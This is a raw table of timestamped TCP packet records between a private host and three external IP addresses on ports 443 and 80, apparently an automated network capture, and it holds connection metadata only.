Sep 15, 2024 19:37:29.481041908 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.481055975 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.492553949 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.492562056 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.492660999 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.492677927 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.492750883 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.492765903 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.492888927 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.492897034 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.493056059 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.493067026 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.493088961 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.493100882 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.493155956 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.493165016 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.493174076 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:29.493179083 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.636929989 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.637016058 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.637033939 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.637079954 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.637115955 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.637157917 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.637166977 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.637197971 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.637197971 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.641057014 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.641118050 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:30.641195059 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.642085075 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:30.642108917 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:31.284445047 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:31.284694910 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:31.285109043 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:31.285140991 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:31.287125111 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:31.287137985 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:32.059854984 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:32.059969902 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:32.060019970 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:32.060055017 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:32.060081005 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:32.060115099 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:32.060156107 CEST	49745	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:32.060188055 CEST	443	49745	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:32.278862000 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.278942108 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.279166937 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.279560089 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.279594898 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.789666891 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.789807081 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.813852072 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.813878059 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.814273119 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.814344883 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.814771891 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.859412909 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.942109108 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.942142963 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.942171097 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.942194939 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.942214966 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.942245960 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:32.961739063 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:32.961816072 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.026191950 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.026359081 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.027187109 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.027272940 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.028171062 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.028244019 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.045586109 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.045685053 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.114495039 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.114614964 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.115339994 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.115421057 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.116908073 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.116970062 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.117840052 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.117901087 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.119659901 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.119724035 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.120572090 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.120636940 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.133718967 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.133804083 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.134054899 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.134124994 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.202697039 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.202826977 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.202980042 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.203056097 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.203403950 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.203469992 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.203778028 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.203838110 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.204087973 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.204155922 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.204581022 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.204649925 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.204896927 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.204968929 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.207362890 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.207426071 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.207633972 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.207695961 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.207882881 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.207942963 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.208347082 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.208416939 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222398043 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.222435951 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.222464085 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222479105 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.222490072 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222503901 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.222517014 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222546101 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222882032 CEST	49746	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:33.222898006 CEST	443	49746	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:33.365001917 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:33.365053892 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:33.365117073 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:33.365417004 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:33.365430117 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:33.800492048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:33.805598021 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:33.805670977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:33.805833101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:33.810631037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:34.018604040 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.018731117 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:34.019212961 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:34.019223928 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.020863056 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:34.020868063 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.432127953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:34.432245970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:34.434801102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:34.439742088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:34.906198978 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.906282902 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.906398058 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:34.906563997 CEST	49747	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:34.906591892 CEST	443	49747	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:34.907951117 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:34.908003092 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:34.908091068 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:34.908289909 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:34.908309937 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.153681993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.155112982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.156234026 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.161202908 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.339266062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.339287043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.339407921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.340670109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.345541954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.403873920 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.407162905 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.407605886 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.407622099 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.407809973 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.407815933 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.523566008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523627996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523629904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.523678064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523714066 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523727894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.523746967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523758888 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.523782015 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523828983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.523890018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523952961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.523961067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.523996115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.525578022 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.530416012 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.546731949 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.546758890 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.546786070 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.546825886 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.546840906 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.547076941 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.566243887 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.566318035 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.640825033 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.640947104 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.641921043 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.642102003 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.653184891 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.653287888 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.653589964 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.653680086 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.709909916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.710025072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.724297047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.724297047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:35.725898027 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.725987911 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.727894068 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.727982998 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.728416920 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.728487968 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.729264975 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.729276896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.729381084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.729437113 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:35.730031967 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.730096102 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.730917931 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.730983019 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.740257025 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.740345001 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.741173983 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.741235018 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.741668940 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.741740942 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.815556049 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.815646887 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.815891027 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.815989017 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.816775084 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.816862106 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.817068100 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.817142010 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.817835093 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.817924976 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.818599939 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.818676949 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.819483042 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.819559097 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.819672108 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.819735050 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.827362061 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.827439070 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.827527046 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.827595949 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.827771902 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.827868938 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.828300953 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.828376055 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.828802109 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.828902006 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.900479078 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.900593996 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.900826931 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.901027918 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.901034117 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.901046991 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.901103020 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.902594090 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.902779102 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.902847052 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.902936935 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.903264046 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.903398991 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.903538942 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.903614998 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.903994083 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.904077053 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.904242039 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.904294014 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:35.904309988 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.904378891 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.917226076 CEST	49749	443	192.168.2.6	192.185.139.21
Sep 15, 2024 19:37:35.917249918 CEST	443	49749	192.185.139.21	192.168.2.6
Sep 15, 2024 19:37:36.038053036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.038568974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.039096117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.044100046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.218950987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.218986988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219023943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219048977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219048977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219058037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219082117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219108105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219145060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219177961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219206095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219223022 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219512939 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219566107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219597101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219598055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219607115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219634056 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.219649076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.219676971 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220114946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.220165968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.220169067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220200062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.220217943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220240116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.220243931 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220273972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.220288038 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220323086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.220957994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.221019030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.221081018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.221435070 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.303085089 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303119898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303153038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303208113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.303220034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.303220987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303256035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303287983 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.303299904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.303329945 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.303572893 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.304240942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.304338932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.304394960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.307751894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.307797909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.307804108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.307837009 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.307851076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.307883024 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.307917118 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.307925940 CEST	49748	80	192.168.2.6	46.8.231.109
